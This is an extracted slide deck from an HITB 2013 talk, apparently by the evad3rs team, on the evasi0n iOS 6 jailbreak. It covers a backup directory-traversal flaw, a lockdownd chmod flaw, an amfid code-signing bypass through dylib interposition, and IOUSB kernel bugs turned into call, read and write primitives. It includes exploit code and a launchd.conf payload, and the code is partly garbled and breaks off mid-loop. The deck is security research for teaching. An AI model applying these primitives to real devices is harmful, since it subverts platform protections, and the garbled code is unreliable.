SWIPIING THROUGH MODERN SECURITY FEATURES

HITB Amsterdam, April 11th, 2013
REACHING THE KERNEL

- Run unsigned code outside the sandbox
- Get around ASLR
- Take control of the kernel
REACHING THE KERNEL

• Run unsigned code outside the sandbox
• Get around ASLR
• Take control of the kernel

Swiping through modern security features, HITB, AMS 2013
RUNNING CODE OUTSIDE THE SANDBOX

• Disable code signing

• Convince launchctl/launchd to run a program as root
iOS 6.1 launchctl HARDENING

- LaunchDaemons are now loaded from the signed dyld cache.
- LaunchDaemons on the filesystem are ignored.
launchctl 6.1 WEAKNESSES

- `/etc/launchd.conf` is still available
- Used for jailbreaks since Corona untether
- `/etc/launchd.conf` able to execute any launchd command (with the exception of loading filesystem LaunchDaemons).
- `bsexec` can run arbitrary programs.

Swiping through modern security features, HITB, AMS 2013

jeudi 11 avril 13
RUNNING UNSIGNED CODE

- Write to root file system (specifically /etc/launchd.conf)
- Disable code signing
- Convince launchctl/launchd to run a program as root
RUNNING UNSIGNED CODE

- Write to root file system (specifically /etc/launchd.conf)
- Disable code signing
- Convince launchctl/launchd to run a program as root

Swiping through modern security features, HITB, AMS 2013
EVASION INJECTION

Remounting the root filesystem without being root and putting the evasi0n untether payload in place

Swiping through modern security features, HITB, AMS 2013
INJECTION STEPS

• Remount root filesystem
• Write `/etc/launchd.conf`
• Upload evasi0n untether payload
REMOUNTING ROOT FS

- `launchctl` can be used to make launchd run commands
- Uses control socket `/var/tmp/launchd/sock`
- But only root has access to that socket -- unless we change the permissions
REMOUNTING ROOT FS

• We need to:
  • execute `launchctl` command
  • change `launchd` control socket permissions (since we're not root)
EXECUTING LAUNCHCTL

• We can run a command with the tap of an icon by replacing an app binary with a shell script containing a specific shebang:

#!/bin/launchctl

• To not mess up any existing app we use one of the hidden apps for our purpose

→ DemoApp.app
ADDING EVASI0N ICON

- Adding an app requires modification of
  `/var/mobile/Library/Caches/com.apple.mobile.installation.plist`
- holds state of all apps (also system apps)
- not accessible using AFC
- not included in backup
- luckily the file_relay service can be used to retrieve it
/var/mobile/Library/Caches/com.apple.mobile.installation.plist

```xml
<plist version="1.0">
<dict>
  ...  
  <key>System</key>
  <dict>
    <key>com.apple.DemoApp</key>
    <dict>
      <key>ApplicationType</key>
      <key>System</key>
      ...  
      <key>SBAppTags</key>
      <array>
        <string>hidden</string>
      </array>
    </dict>
  ...  
  <key>Path</key>
  <string>/var/mobile/DemoApp.app</string>
  ...
  <key>EnvironmentVariables</key>
  <dict>
    <key>LAUNCHD_SOCKET</key>
    <string>/private/var/tmp/launchd/sock</string>
  </dict>
</dict>
...  
</dict>
...
</dict>
```

Swiping through modern security features, HITB, AMS 2013  
@evad3rs
ADDING EVASI0N ICON

- Now, we need to write back `com.apple.mobile.installation.plist`
- `file_relay` service does not provide upload functionality
- Write anywhere vulnerability required
  → MobileBackup2 directory traversal
ABOUT MOBILEBACKUP2

- MobileBackup2 has a set of backup domains
- Backup domains define 'allowed' paths
- Adding arbitrary files is not possible everywhere
- But there are several usable paths, e.g. MediaDomain:Media/Recordings (/var/mobile/Media/Recordings)
ABOUT MOBILEBACKUP2

- Backup restore process changed with iOS 6
- Files are created in /var/tmp, staged (renamed) to another directory in /var, and finally renamed to its destination
- Obviously limits writing files to /var partition since rename doesn't work across filesystems
DIRECTORY TRAVERSAL

• For accessing a path outside the allowed ones we just add a symlink to the backup, e.g.:
  Media/Recordings/haxx
  with haxx pointing to /var/mobile

• When the backup is restored, MB2 restores
  Media/Recordings/haxx/DemoApp.app
  but it actually writes
  /var/mobile/DemoApp.app
ADDING EVASI0N ICON

• So to finally add the icon we use MB2 to write what we need:

/var/mobile/Library/Caches/com.apple.mobile.installation.plist
/var/mobile/DemoApp.app
/var/mobile/DemoApp.app/DemoApp
/var/mobile/DemoApp.app/Info.plist
/var/mobile/DemoApp.app/Icon.png
/var/mobile/DemoApp.app/Icon@2x.png
...

• Reboot device...

Swiping through modern security features, HITB, AMS 2013
The replaced DemoApp binary we just injected with MB2 is a script with the following shebang:

```
#!/bin/launchctl submit -l remount
   -- /sbin/mount -v -t hfs -o rw /dev/disk0s1s1
```

But wait! where's the mount point parameter?
EXECUTING LAUNCHCTL

- The icon tap will result in the app's path being appended as last parameter to the command line
- Mount target is app 'binary' at first, so mount fails initially
- To resolve this we just replace the DemoApp 'binary' with a symlink (using MB2):

  /var/mobile/DemoApp.app/DemoApp -> /

- Since launchd restarts the job automatically the remount should succeed after a while
REMOUNTING ROOT FS

- We need to:
  - execute `launchctl` command
  - change launchd control socket permissions (since we're not root)
CHANGING PERMISSIONS

- Why not use MB2 directory traversal?
- MB2 doesn’t allow changing permissions on existing files - just re-creating them
- MB2 can’t create socket files
- ... but we still need MB2 to help out

Swiping through modern security features, HITB, AMS 2013

@evad3rs
TIMEZONE VULNERABILITY

• Flaw in `lockdownd`:
  
```
  MOVW    RO, #(aPrivateVarDbTi - 0x4DB8A) ; `/private/var/db/timezone`
  MOVU    R1, #0x1FF ; mode_t -> 0777
  MOVWT   RO, #4
  ADD      RO, PC ; char *
  BLX _chmod
```

• `chmod("/private/var/db/timezone", 0777);`

• no further checks

• executed every launch

Swiping through modern security features, HITB, AMS 2013
TIMEZONE VULNERABILITY

- Use MB2 directory traversal to add `/var/db/timezone` symlink pointing to the file to `chmod`
- Crash `lockdownd` by sending a malformed property list to make it relaunch and perform the actual `chmod`
REMOUNTING ROOT FS

- We need to:
  - execute `launchctl` command
  - change launchd control socket permissions (since we're not root)

Swiping through modern security features, HITB, AMS 2013
INJECTION STEPS

- Remount root filesystem
- Write `/etc/launchd.conf`
- Upload evasi0n untether payload
• To write the /etc/launchd.conf we could just use the MB2 directory traversal, couldn’t we?

• As mentioned earlier MB2 does not allow restoring files outside /var

• Unlike regular files MB2 creates symlinks directly in the staging directory
WRITING launchd.conf

- Allows to create a symlink `/etc/launchd.conf` whilst creating it as a regular file will fail
- `launchd` will still load the file pointed to by the `/etc/launchd.conf` symlink on startup
INJECTION STEPS

- Remount root filesystem
- Write `/etc/launchd.conf`
- Upload evasi0n untether payload
UPLOADING EVASI0N PAYLOAD

- Since we already have the MB2 directory traversal, we just use it to upload the untether payload to the unique location /var/evasi0n

- Finally we use AFC to upload the Cydia package to /var/mobile/Media/evasi0n-install
INJECTION STEPS

- Remount root filesystem
- Write `/etc/launchd.conf`
- Upload evasi0n untether payload
REBOOT TO UNTETHER!
iOS CODE SIGNING

Weaknesses

Swiping through modern security features, HITB, AMS 2013
PROTECTIONS

- when loading binaries
- when accessing executable pages
- when accessing signed pages
SIGNED PAGE ACCESS

- Enforced in `vm_fault_enter`
- Dependent on “CS blobs” being registered by loader.
- Blobs indicate ranges of the file/vnode that is signed and their hashes.
- No blobs loaded? No checking is done.
EXECUTABLE PAGE ACCESS

- Enforced in `vm_fault_enter`
- If a process tries to access an executable page that is not signed it is killed.
- (depending on `CS_KILL`, but it is set for every single binary on iOS)
LOADING CODE

- Code loaded through two primary paths:
  - Executables are loaded by kernel
  - dylibs are loaded by dyld
- Each path has to validate what they load is signed separately.
LOADING A BINARY

- Kernel gets an `execve` syscall. MAC hooks for the AMFI kext are set in this method call tree.

- `mpo_vnode_check_exec` is called which sets `CS_HARD` and `CS_KILL`.

- Kernel loads CS blobs from Mach-O.

- `mpo_vnode_check_signature` calls `amfid`, a userland daemon, to do the validation.

- If signature checking fails, kernel kills the process.
LOADING A DYLIB

- If a dylib being loaded is code signed, its blobs are loaded into the CS blobs for the current process.
- dyld calls `fcntl(F_ADDDFILESIGS)`
// create image by mapping in a mach-o file
ImageLoaderMachOClassic* ImageLoaderMachOClassic::instanciateFromFile(const char* path, int fd, const uint8_t* fileData, uucu try {
    // record info about file
    image->setFileInfo(info.st_dev, info.st_ino, info.st_mtime);

    #if CODESIGNING_SUPPORT
    // if this image is code signed, let kernel validate signature before mapping any pages from image
    if (codeSigCmd != NULL)
        image->loadCodeSignature(codeSigCmd, fd, offsetInFat);
    #endif

    // mmap segments
    image->mapSegmentsClassic(fd, offsetInFat, lenInFat, info.st_size, context);

    // finish up
    image->instanciateFinish(context);

    #if CODESIGNING_SUPPORT
    void ImageLoaderMachO::loadCodeSignature(const struct linkedit_data_command* codeSigCmd, int fd, uint64_t offsetInFatFile)
    {
        fsignatures_t siginfo;
        siginfo.fs_file_start=offsetInFatFile;
        siginfo.fs_blob_start=(void*)(codeSigCmd->dataoff);
        siginfo.fs_blob_size=codeSigCmd->size;
        int result = fcntl(fd, F_ADDFILESIGS, &siginfo);
        if (result == -1 )
            dyld::log("dyld: F_ADDFILESIGS failed for %s with errno=%d\n", this->getPath(), errno);
    #endif

    dyld::log("dyld: registered code signature for %s\n", this->getPath());

    jeudi 11 avril 13

    @evad3rs
AMFID

- All binaries shipped with iOS have hashes in the kernel.
- No chicken-and-egg problem with amfid loading.
- amfid uses a library (libmis.dylib) to verify the code signature on binaries.
- If it passes, amfid replies to the kernel, and kernel continues loading the binary.
WEAKNESSES

- CS blobs are validated in amfidi, outside the kernel.
- As long as amfidi gives permission, the kernel accepts any CS blob as valid.
amfid

libmis.dylib

weak part

com.apple.driver.AppleMobileFileIntegrity

mpo_vnode_check_signature

mpo_vnode_check_exec

uip->cs_blobs

execve

CS_KILL

vm_fault_enter

fcntl(F_ADDFILESIGS)

dyld

kernel

jeudi 11 avril 13
RUNNING UNSIGNED CODE

- Write to root file system (specifically /etc/launchd.conf)
- Convince amfid to okay our program
- Convince launchctl/launchd to run a program as root

Swiping through modern security features, HITB, AMS 2013
DYLIB LOADING

• dyld takes care of loading the dependent libraries in Mach-O.

• dyld also handles dlopen and other dynamic loading calls.

• dyld runs inside the process using it, so it has only the permissions every process has.

• Conversely, every process has to be able to do what dyld can do.
CAN WE LOAD UNSIGNED DYLIBS?

- dyld tries to prevent this by requiring the Mach-O header of dylibs to be executable.
- Accessing unsigned executable pages causes the process to die.
- Note: you cannot step around this with no code segments... there has to be at least one.
```c
void ImageLoaderMachO::sniffLoadCommands(const macho_header* mh, const char* path, bool* compressed,
unSigned int* segmentCount, unsigned int* libCount,
const linkedit_data_command** codeSigCmd)
{
    *compressed = false;
    *segmentCount = 0;
    *libCount = 0;
    *codeSigCmd = NULL;
    struct macho_segment_command* segmentCmd;
    #if CODESIGNING_SUPPORTED
    bool foundLoadCommandSegment = false;
    #endif
    const uint32_t cmd_count = mh->ncmds;
    const struct load_command* const startCmds = (struct load_command*)((uint8_t)mh) + sizeof(macho_header));
    const struct load_command* const endCmds = (struct load_command*)((uint8_t)mh) + sizeof(macho_header) + mh->sizeofcmds);
    const struct load_command* cmd = startCmds;
    for (uint32_t i = 0; i < cmd_count; ++i) {
        switch (cmd->cmd) {
            case LC_DYLD_INFO:
            case LC_DYLD_INFO_ONLY:
                *compressed = true;
                break;
            case LC_SEGMENT_COMMAND:
                segmentCmd = (struct macho_segment_command*)cmd;
                // ignore zero-sized segments
                if (segmentCmd->vsize != 0) {
                    *segmentCount += 1;
                }
                #if CODESIGNING_SUPPORTED
                // <rdar://problem/7942521> all load commands must be in an executable segment
                if ((segmentCmd->fileoff < mh->sizeofcmds) && (segmentCmd->filesize != 0)) {
                    if ((segmentCmd->fileoff != 0) || (segmentCmd->filesize < (mh->sizeofcmds + sizeof(macho_header))))
                        dyld::throw("malformed mach-o image: segment %s does not span all load commands", segName);
                    if (segCmd->initprot != (VM_PROT_READ | VM_PROT_EXECUTE))
                        dyld::throw("malformed mach-o image: load commands found in segment %s with wrong permissions", segName);
                    foundLoadCommandSegment = true;
                }
                #endif
                break;
            case LC_LOAD_DYLIB:
            case LC_LOAD_WEAK_DYLIB:
            case LC_REEXPORT_DYLIB:
            case LC_LOAD_UPWARD_DYLIB:
                *libCount += 1;
                break;
            case LC_CODE_SIGNATURE:
                *codeSigCmd = (struct linkedit_data_command*)cmd; // only support one LC_CODE_SIGNATURE per image
                break;
        }
        uint32_t cmdLength = cmd->cmdsize;
        uint32_t cmdLength = path->cmdLength;
    }
}
```

Swiping through modern security features, HITB, AMS 2013  @evad3rs
Actually, it requires any load command segment that spans the file offsets where the Mach-O header is to:

- Span at least the entire Mach-O header file offsets.
- Be executable.
- And there must be at least one such segment.
OF COURSE...

• Who says the Mach-O header actually used by dyld has to be at the front of the file?

/var/evasion/cmfi.dylib:
Load command 0
  cmd LC_SEGMENT
  cmdsize 56
  segname __FAKE_TEXT
  vmaddr 0x00000000
  vmsize 0x00001000
  fileoff 0
  filesize 4096
  maxprot 0x00000005
  initprot 0x00000005
  nsects 0
  flags 0x0
Load command 1
  cmd LC_SEGMENT
  cmdsize 56
  segname __TEXT
  vmaddr 0x00000000
  vmsize 0x00001000
  fileoff 8192
  filesize 4096
  maxprot 0x00000001
  initprot 0x00000001
  nsects 0
  flags 0x0
Load command 2
  cmd LC_SEGMENT
  cmdsize 56
  segname __LINKEDIT
  vmaddr 0x00001000
  vmsize 0x00001000
  fileoff 4096
  filesize 187
  maxprot 0x00000001
  initprot 0x00000001
  nsects 0
  flags 0x0
NOW WHAT?

- We can override functions!

Swiping through modern security features, HITB, AMS 2013
Swiping through modern security features, HITB, AMS 2013
INTERPOSITION

- We can just override MISValidateSignature to always return 0!

```
[-bash(L1/J0/#12)/ttys007 planetbeing@Marengo:~/evasion/kernel]$ dyldinfo -export amfi.dylib
export information (from trie):
[re-export] _kMISValidationOptionValidateSignatureOnly (_kCFUserNotificationCenterTokenKey from CoreFoundation)
[re-export] _kMISValidationOptionExpectedHash (_kCFUserNotificationCenterTimeoutKey from CoreFoundation)
[re-export] _MISValidateSignature (_CFEqual from CoreFoundation)
```

Swiping through modern security features, HITB, AMS 2013

@evad3rs
FAIL!

```
mpo_vnode_check_signature

uip->cs_blobs

fcntl(F_ADDFILESIGS)

execve

mpo_vnode_check_exec

CS_KILL

vm_fault_enter

dyld

com.apple.driver.AppleMobileFileIntegrity

kernel
```

jeudi 11 avril 13
RUNNING UNSIGNED CODE

- Write to root file system (specifically /etc/launchd.conf)
- Convince amfid to okay our program
- Convince launchctl/launchd to run a program as root

Swiping through modern security features, HITB, AMS 2013
DISABLED CODE SIGNING

- Using a « simple » dylib with no executable pages, we interposed the daemon responsible of the code signing enforcement
- It didn’t require any memory corruption at the userland level
- The whole code signing design is so complicated that it had to be logical mistakes

Swiping through modern security features, HITB, AMS 2013
REAL WORLD EXAMPLE

evasi0n’s /etc/launchd.conf

```
Henry:~ root# cat /etc/launchd.conf
bsexec .. /sbin/mount -u -o rw,suid,dev /
setenv DYLD_INSERT_LIBRARIES /private/var/evasi0n/amfi.dylib
load /System/Library/LaunchDaemons/com.apple.MobileFileIntegrity.plist
bsexec .. /private/var/evasi0n/evasi0n
unsetenv DYLD_INSERT_LIBRARIES
bsexec .. /bin/rm -f /var/evasi0n/sock
bsexec .. /bin/ln -f /var/tmp/launchd.sock /var/evasi0n/sock
bsexec .. /sbin/mount -u -o rw,suid,dev /
load /System/Library/LaunchDaemons/com.apple.MobileFileIntegrity.plist
unsetenv DYLD_INSERT_LIBRARIES
```
THE BOSS FIGHT

Enough sneaking around.

Swiping through modern security features, HITB, AMS 2013
EVASION BINARY

- 5001 lines of slightly over-engineered C and Objective-C code
- 1719 lines for dynamically finding offsets.
- 876 lines for exploit primitives.
- 671 lines for main exploit logic/patching.
- 318 lines for primitives using `task_for_pid 0` after it is enabled.
USB -- the eternal source of vulnerabilities

IOUSBDeviceInterface has not just one, but two useful vulnerabilities

evasi0n creates some exploit primitives from these two vulnerabilities

These primitives are then combined to implement the remaining kernel exploits
KERNEL VULNERABILITIES

- `stallPipe` (and others) naively takes a pointer to a kernel object as an argument.
- `createData` returns a kernel address as the `mapToken`.

http://iphonedevwiki.net/index.php?title=IOUSBDeviceFamily

Swiping through modern security features, HITB, AMS 2013
KERNEL VULNERABILITIES

- `stallPipe` (and others) naively takes a pointer to a kernel object as an argument.
- `createData` returns a kernel address as the `mapToken`.


Swiping through modern security features, HITB, AMS 2013
EXPLOITING stallPipe

```assembly
if(*pipe + 0x28) == 1)
    (*(*pipe + 0x8) + 0x50) + 0x70)
    (*(*pipe + 0x8) + 0x50), (*(*pipe + 0x8)) + 0x344), *(pipe + 0x20), 1, 0, 0);

if(*pipe + 10) == 1)
    (*(*pipe + 2) + 20) + 28)
    (*(*pipe + 2) + 20), (*(*pipe + 2) + 209), *(pipe + 8), 1, 0, 0);

if(pipe->prop_10 == 1)
    pipe->prop_2->prop_20->method_28
    (pipe->prop_2->method_209, pipe->prop_8, 1, 0, 0);
```

Swiping through modern security features, HITB, AMS 2013
EXPLOITING stallPipe

• stallPipe can be misused to call arbitrary functions
• We’ll need to craft an object that:
  • Is accessible from the kernel (i.e. in kernel memory)
  • Exists at an address known to us
  • Also need to know the address of the function we’ll use it with
Not so fast!

iOS6 mitigations...

- Kernel can no longer directly access userland memory in iOS 6!
- In previous iOS versions, we could (and did) merely malloc an object in userland and provide it to `stallPipe`
- KASLR makes it challenging to find objects in kernel memory, let alone modify them
- KASLR makes it hard to find what to call

Swiping through modern security features, HITB, AMS 2013

@evad3rs
Evading mitigations with `createData`

- `createData` creates an `IOMemoryMap` and gives us its kernel address
- Like all IOKit objects, it’s in a `kalloc` zone
- Because of `IOMemoryMap`’s size, it is always in `kalloc.88`
- If we call `createData` enough times, a new `kalloc.88` page will be created, and future allocations will be consecutive in the same page
- Then we can predict the address of next allocation in `kalloc.88`
Evading mitigations with createData

- What can we do with the address of the next allocation in kalloc.88?
- Deliberately trigger an allocation using the mach_msg OOL descriptors technique described by Mark Dowd and Tarjei Mandt at HITB2012KUL
- We can then control the contents of kernel memory at a known location
WRITING TO KERNEL

- Send mach msgs with OOL memory descriptors without receiving them.
- Small OOL memory descriptors will be copied into kernel memory in `kalloc`ed buffers.
- Buffers will deallocate when message received

Swiping through modern security features, HITB, AMS 2013

@evad3rs
A TIGHT SQUEEZE

• `kalloc.88` has 0x58 bytes
• `vm_map_copy_t` has 0x30 bytes
• We can only write 0x28 bytes
Swiping through modern security features, HITB, AMS 2013
call_indirect: Call function with referenced argument

```c
uint32_t table[10];
table[0] = KernelBufferAddress + (sizeof(uint32_t) * 3);
table[1] = KernelBufferAddress + (sizeof(uint32_t) * FIRST_ARG_INDEX);
table[2] = 0x0580ef9c;
table[3] = arg1_address - (209 * sizeof(uint32_t));
table[FIRST_ARG_INDEX] = KernelBufferAddress - (sizeof(uint32_t) * 23);
table[5] = fn;
table[6] = arg2;
table[7] = 0xdeadc0de;
table[8] = 1;
table[9] = 0xdeadc0de;

uint64_t args[] = {(uint64_t) (uintptr_t) (KernelBufferAddress - (sizeof(uint32_t) * 2))};
write_kernel_known_address(connect, table);
IOMethodScalarMethod(connect, 15, args, 1, NULL, NULL);
```

Swiping through modern security features, HITB, AMS 2013 @evad3rs
WHAT TO CALL?

• Need to get around KASLR.

• iOS 6 feature that shifts the start of the kernel by a randomized amount determined by the bootloader.

• Only need to leak address of one known location to get around it.
KASLR WEAKNESS?

- Exception vectors are not moved: They’re always at 0xFFFF0000.
- The code there hides all addresses.
- Exception handlers are in processor structs. Pointers to them are in thread ID CPU registers inaccessible from userland.
WEIRD EFFECTS

• With another KASLR workaround and IOUSB bug, you can leak kernel memory of unknown kernel one dword at a time through panic logs.

• Didn’t work on iPad mini for some reason: CRC error.

• Tried to jump to exception vector to see if that helps.
JUMPING TO DATA ABORT

• Kernel didn’t panic!
• Program crashed instead!
• Crash log seemed to contain the KERNEL thread register state!
• Why?

Swiping through modern security features, HITB, AMS 2013
• How does XNU distinguish userland crashes from kernel mode crashes?

• CPSR register in ARM contains the current processor state, include ‘mode bits’ which indicate User, FIQ, IRQ, Supervisor, Abort, Undefined or System mode.
• ARM has a banked SPSR register that saves CPSR when an exception occurred.

• e.g. when a data abort occurs, current CPSR is saved to SPSR\textsubscript{ABRT} before data abort handler is called.

• Of course, the instruction to read any of the SPSR registers is the same.

Swiping through modern security features, HITB, AMS 2013 @evad3rs
• XNU tries to check what the CPSR during the exception was.

• If mode is 0, CPSR was user; crash the current thread.

• If mode is not 0, CPSR was system, panic the system.

Swiping through modern security features, HITB, AMS 2013
• If you jump to data abort directly, SPSR is not SPSR_{ABRT}, it is SPSR_{SVC} which contains the CPSR when the \texttt{stallPipe} syscall was called!

• Mode bits of SPSR is therefore 0. The kernel believes the user thread just crashed and dutifully dumps the kernel registers as if they were user registers.

Swiping through modern security features, HITB, AMS 2013
CUSTOM HANDLER

• More precisely, it calls the exception handlers you can register from userland.

• CrashReporter is such a handler.

• We can also register a handler for an individual thread, and catch the ‘crashes’ for that thread.
• ‘Crash’ the kernel once from stallPipe, get the address of stallPipe_1!

• KASLR defeated.

• ‘Crash’ using call_indirect and dereferenced value of an address of our choosing is in R1, which we can read!

• Kernel read-anywhere.
725 kern_return_t catch_exception_raise_state_identity(
726     mach_port_t exception_port,
727     mach_port_t thread,
728     mach_port_t task,
729     exception_type_t exception,
730     exception_data_t code,
731     mach_msg_type_number_t codeCnt,
732     int *flavor,
733     thread_state_t old_state,
734     mach_msg_type_number_t old_stateCnt,
735     thread_state_t new_state,
736     mach_msg_type_number_t *new_stateCnt)
737 {
738     arm_thread_state_t* arm_old_state = (arm_thread_state_t*) old_state;
739     arm_thread_state_t* arm_new_state = (arm_thread_state_t*) new_state;
740     *(uint32_t*)(Buffer + (Context.cur_address - Context.start_address)) = arm_old_state->r[1];
741     Context.crash_pc = arm_old_state->__pc;
742     Context.cur_address += 4;
743     memset(arm_new_state, 0, sizeof(*arm_new_state));
744     arm_new_state->__sp = Context.stack;
745     arm_new_state->__pc = 0x30;
746     if(Context.cur_address < Context.end_address)
747     {
748         arm_new_state->__r[8] = (uintptr_t)&Context;
749         arm_new_state->__pc = ((uintptr_t)do_crash) & ~1;
750     } else
751     {
752         arm_new_state->__pc = ((uintptr_t)do_thread_end) & ~1;
753         Running = 0;
754     }
755     *new_stateCnt = sizeof(*arm_new_state);
756     deadman_reset(*);
757     return KERN_SUCCESS;
758 }

Swiping through modern security features, HITB, AMS 2013
CAVEAT

• Each ‘crash’ leaks one object from kalloc.6144.

• Do it too much and you’ll panic.

• Caused by how IOConnectCall works.

• Each call is actually a mach msg to the IOKit server: MIG call to \texttt{io\_connect\_method\_*}

• \texttt{ipc\_kobject\_server} is eventually called by \texttt{mach\_msg} to dispatch it. It allocates a large \texttt{ipc\_kmsg} for the error reply and saves the pointer on the stack.

Swiping through modern security features, HITB, AMS 2013  
@evad3rs
• When the ‘crash’ happens, the thread exits through `thread_exception_return` from the data abort handler instead of unwinding normally.

• Stack pointer lost forever!

• 226 lines of code to manually search `kalloc` zones for lost `ipc_kmsg` and deallocate it.

• Normally just need one ‘crash’ per boot, so only leak 6144 bytes per boot -- not too bad.

• So why fix it?

• Because `@planetbeing` is OCD.

Swiping through modern security features, HITB, AMS 2013
WRITE-ANYWHERE PRIMITIVE

```c
38 static void kernel_write_dword(io_connect_t connect, uint32_t address, uint32_t value)
39 {  
40     call_direct(connect, get_kernel_region(connect) + get_offsets()->str_r1_r2_bx_lr, value, address);
41 }
```
READ-ANYWHERE PRIMITIVE (SMALL)

uint32_t table[10];
table[0] = KernelBufferAddress + (sizeof(uint32_t) * 2);
table[1] = KernelBufferAddress + (sizeof(uint32_t) * FIRST_ARG_INDEX);
table[2] = address;
table[3] = KernelBufferAddress + (sizeof(uint32_t) * 2) - (209 * sizeof(uint32_t));
table[FIRST_ARG_INDEX] = KernelBufferAddress - (sizeof(uint32_t) * 2);
table[5] = fn;
table[6] = size;
table[7] = 0xdeadbeef;
table[8] = 1;
table[9] = 0xdeadbeef;

uint64_t args[] = {(uint64_t) (uintptr_t) (KernelBufferAddress - (sizeof(uint32_t) * 2))};
write_kernel_known_address(connect, table);
IOConnectCallScalarMethod(connect, 15, args, 1, NULL, NULL);
mach_msg(&recv_msg.header, MACH_RCV_MSG, 0, sizeof(recv_msg), MachServerPort, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
mach_msg(&msg.header, MACH_SEND_MSG, msg.header.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

int ret = 0;
for(i = 0; i < OOL_DESCRIPTOR; ++i)
{
    if(recv_msg.descriptors[i].address)
    {
        if(memcmp(recv_msg.descriptors[i].address, table, sizeof(table)) != 0)
        {
            void* start = (void*)((uintptr_t)recv_msg.descriptors[i].address + (FIRST_ARG_INDEX * sizeof(uint32_t)));
            memcpy(buffer, start, size);
            ret = 1;
        }
        vm_deallocate(mach_task_self, (vm_address_t)recv_msg.descriptors[i].address, recv_msg.descriptors[i].size);
    }
}
READ-ANYWHERE PRIMITIVE (LARGE)

- Corrupt one of the OOL descriptor’s `vm_map_copy_t` structure so that it is tricked into giving us back a copy of arbitrary kernel memory.
- Also one of Mark Dowd and Tarjei Mandt’s ideas from HITB2012KUL
OOL CORRUPTION

- If we use `call_direct` on `memmove`, first argument of `memmove` points to `&table[4]`.

- If we write past the `vm_map_copy_t` buffer, we will hit the `vm_map_copy_t` structure for the last OOL descriptor we allocated (since `kalloc` allocates from bottom of page, up).

- We allocate 20 OOL descriptors. Previously, it didn’t matter which one the kernel actually used. Now it does.
OOL CORRUPTION

- Find index of OOL descriptor `KernelBufferAddress` points to by doing a read using the small kernel read anywhere primitive.

- The OOL descriptor with contents that does not match the others is the one that `KernelBufferAddress` points to.
<table>
<thead>
<tr>
<th>OOL 19</th>
<th>vm_map_copy_t</th>
</tr>
</thead>
<tbody>
<tr>
<td>OOL 19</td>
<td>data</td>
</tr>
</tbody>
</table>

... |

<table>
<thead>
<tr>
<th>OOL KernelBufferIndex + 1</th>
<th>vm_map_copy_t</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fake</td>
<td>vm_map_copy_t data!</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>OOL KernelBufferIndex</th>
<th>vm_map_copy_t</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fake pipe object</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>OOL KernelBufferIndex - 1</th>
<th>vm_map_copy_t</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fake pipe object</td>
<td></td>
</tr>
</tbody>
</table>

... |

<table>
<thead>
<tr>
<th>OOL 0</th>
<th>vm_map_copy_t</th>
</tr>
</thead>
<tbody>
<tr>
<td>OOL 0 data</td>
<td></td>
</tr>
</tbody>
</table>

---

**Swiping through modern security features, HITB, AMS 2013**

@evad3rs
<table>
<thead>
<tr>
<th>OOL 19 vm_map_copy_t</th>
</tr>
</thead>
<tbody>
<tr>
<td>OOL 19 data</td>
</tr>
</tbody>
</table>

...  

<table>
<thead>
<tr>
<th>OOL KernelBufferIndex + 1 vm_map_copy_t</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fake vm_map_copy_t data!</td>
</tr>
<tr>
<td>OOL KernelBufferIndex vm_map_copy_t</td>
</tr>
<tr>
<td>Fake pipe object</td>
</tr>
<tr>
<td>Fake vm_map_copy_t data!</td>
</tr>
<tr>
<td>Fake pipe object</td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>

...  

<table>
<thead>
<tr>
<th>OOL 0 vm_map_copy_t</th>
</tr>
</thead>
<tbody>
<tr>
<td>OOL 0 data</td>
</tr>
</tbody>
</table>

---

**Swiping through modern security features, HITB, AMS 2013**

@evad3rs

jeudi 11 avril 13
Just do this every single time. Seems to increase reliability.
setup_kernel_well_known_address(connect);
find_kernel_buffer_index(connect, memmove);

struct vm_map_copy fake;
fake.type = VM_MAP_COPY_KERNEL_BUFFER;
fake.offset = 0;
fake.size = size;
fake.c_k.kdata = (void*) address;

uint32_t table[10];
table[0] = KernelBufferAddress + (sizeof(uint32_t) * 3);
table[1] = KernelBufferAddress + (sizeof(uint32_t) * FIRST_ARG_INDEX);
// Target the buffer in KernelBufferIndex + 1 for copying from. Take into account the fact that we want to start copying KERNEL_READ.
table[2] = (KernelBufferAddress - SIZE_OF_VM_MAP_COPY_T - SIZE_OF_KALLOC_BUFFER + SIZE_OF_VM_MAP_COPY_T - KERNEL_READ_SECTION_SIZE;
table[3] = KernelBufferAddress + (sizeof(uint32_t) * 2) - (209 * sizeof(uint32_t));
table[FIRST_ARG_INDEX] = KernelBufferAddress - (sizeof(uint32_t) * 23);
table[5] = fn;
// This will overwrite up to and including kdata in KernelBufferIndex - 1's vm_map_copy_t

int i;
for(i = 0; i < OOL DESCRIPITORS; ++i)
{
    if(i == (KernelBufferIndex + 1))
        msg.descriptors[i].address = fake_data;
    else
        msg.descriptors[i].address = table;
    msg.descriptors[i].size = KERNEL_BUFFER_SIZE;
    msg.descriptors[i].deallocate = 0;
    msg.descriptors[i].copy = MACH_MSG_PHYSICAL_COPY;
    msg.descriptors[i].type = MACH_MSG_OOL_DESCRIPTOR;
}
mach_msg(&recv_msg.header, MACH_RECV_MSG, 0, sizeof(recv_msg), MachServerPort, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
mach_msg(&msg.header, MACH_SEND_MSG, msg.header.mshg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
IOConnectCallScalarMethod(connect, 15, args, 1, NULL, NULL);
for(i = 0; i < OOL DESCRIPITORS; ++i)
{
    vm_deallocate(mach_task_self(), (vm_address_t)recv_msg.descriptors[i].address, recv_msg.descriptors[i].size);
}
mach_msg(&recv_msg.header, MACH_RECV_MSG, 0, sizeof(recv_msg), MachServerPort, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
mach_msg(&msg.header, MACH_SEND_MSG, msg.header.mshg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
int ret = 0;
for (i = 0; i < ODL_Descriptors; ++i)
{
    if (i == (KernelBufferIndex - 1))
    {
